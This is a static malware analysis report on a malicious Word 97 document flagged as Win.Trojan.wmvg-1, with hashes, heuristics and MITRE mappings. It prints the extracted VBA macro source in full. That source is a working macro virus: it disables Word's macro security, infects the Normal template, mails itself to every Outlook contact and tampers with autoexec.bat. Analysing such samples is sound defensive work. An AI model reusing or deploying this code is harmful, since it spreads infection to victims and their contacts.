Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d67c5acf26b7514…

MALICIOUS

Office (OLE)

44.0 KB Created: 1997-01-29 21:49:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a151e5b67494fc6e5d95a30a816880e3 SHA-1: 3fa7c1029f0148c0fc0cc7270a8afb2950fd72c4 SHA-256: 2d67c5acf26b75146b9394b9f0b6219660a8ea89367c28334f87ed51161adee8
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing VBA macros. The Document_Open macro attempts to disable security features and modify registry keys, specifically 'HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Lavel' and 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Default', suggesting an attempt to establish persistence or evade detection. The ClamAV detection 'Win.Trojan.wmvg-1' further supports its malicious nature.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4074 bytes
SHA-256: 898adbb3abffdc434de60bed7f614e2157c75be823c21ffd11d85c3ec9573c0d
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Call Default
End Sub
Private Sub Document_Open()
Call Default
End Sub
Private Sub Default()
On Error Resume Next
CustomizationContext = NormalTemplate
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Lavel") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Lavel") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
Options.VirusProtection = False: Options.SaveNormalPrompt = False: Options.ConfirmConversions = False
End If
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "Default") <> "Liton/Alina/Liton" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "Default") = "Liton/Alina/Liton"
End If
Set ADC1 = ActiveDocument.VBProject.VBComponents(1)
Set NDC1 = NormalTemplate.VBProject.VBComponents(1)
ExportFile1 = Application.StartupPath + "\~Default.tmp"
ExportFile2 = Application.StartupPath + "\~Default.ini"
If UCase(Dir(ExportFile1)) = "~DEFAULT.TMP" Then Kill ExportFile1
If UCase(Dir(ExportFile2)) = "~DEFAULT.INI" Then Kill ExportFile2
If ADC1.CodeModule.CountOfLines > 0 Then ADC1.Export (ExportFile1)
If NDC1.CodeModule.CountOfLines > 0 Then NDC1.Export (ExportFile2)
If ADC1.CodeModule.CountOfLines > 0 Then
For i = 1 To ADC1.CodeModule.CountOfLines
ADC1.CodeModule.DeleteLines 1
Next
End If
ADC1.CodeModule.AddFromFile (ExportFile2)
If ADC1.CodeModule.CountOfLines > 0 Then
For i = 1 To 4
ADC1.CodeModule.DeleteLines 1
Next
Else
ADC1.CodeModule.AddFromFile (ExportFile1)
For i = 1 To 4
ADC1.CodeModule.DeleteLines 1
Next
End If
If NDC1.CodeModule.CountOfLines > 0 Then
For i = 1 To NDC1.CodeModule.CountOfLines
NDC1.CodeModule.DeleteLines 1
Next
End If
NDC1.CodeModule.AddFromFile (ExportFile1)
If NDC1.CodeModule.CountOfLines > 0 Then
For i = 1 To 4
NDC1.CodeModule.DeleteLines 1
Next
Else
NDC1.CodeModule.AddFromFile (ExportFile2)
For i = 1 To 4
NDC1.CodeModule.DeleteLines 1
Next
End If
Dim UDO, DMN, BUOS
Set UDO = CreateObject("Outlook.Application")
Set DMN = UDO.GetNameSpace("MAPI")
DMN.Logon "profile", "password"
For l = DMN.AddressLists.Count To 1 Step -1
Set ADB = DMN.AddressLists(l)
i = 0
Set BUOS = UDO.CreateItem(0)
For t = ADB.AdressEntries.Count To 1 Step -1
o = ADB.AddressEntries(i)
BUOS.Recipients.Add o
i = i + 1
If i = ADB.AddressEntries.Count Then
t = 1
End If
Next t
BUOS.Subject = "If you restore your default health & wealth, please see attached document below:=" + Application.UserName
BUOS.Body = "Default health & wealth manual:="
BUOS.Attachments.Add ActiveDocument.FullName
BUOS.Send
o = ""
Next l
DMN.Logoff
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
If Day(Now) = 15 And Month(Now) = 8 Then
Open "c:\autoexec.bat" For Append As #1
Print #1, "Pause ""National mourning & freedom day..."""
Close #1
End If
If Day(Now) = 16 And Month(Now) = 12 Then
Open "c:\autoexec.bat" For Append As #1
Print #1, "Pause ""Indepandent day..."""
Close #1
End If
If Day(Now) = 28 And Month(Now) = 8 Then
Open "c:\autoexec.bat" For Append As #1
Print #1, "Pause ""Happy birthday..."""
Close #1
End If
If Day(Now) = 21 And Month(Now) = 2 Then
Open "c:\autoexec.bat" For Append As #1
Print #1, "Pause ""Saheed day..."""
Close #1
End If
If Day(Now) = 30 And Month(Now) = 4 Then
Open "c:\autoexec.bat" For Append As #1
Print #1, "Pause ""Marriage day..."""
Close #1
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.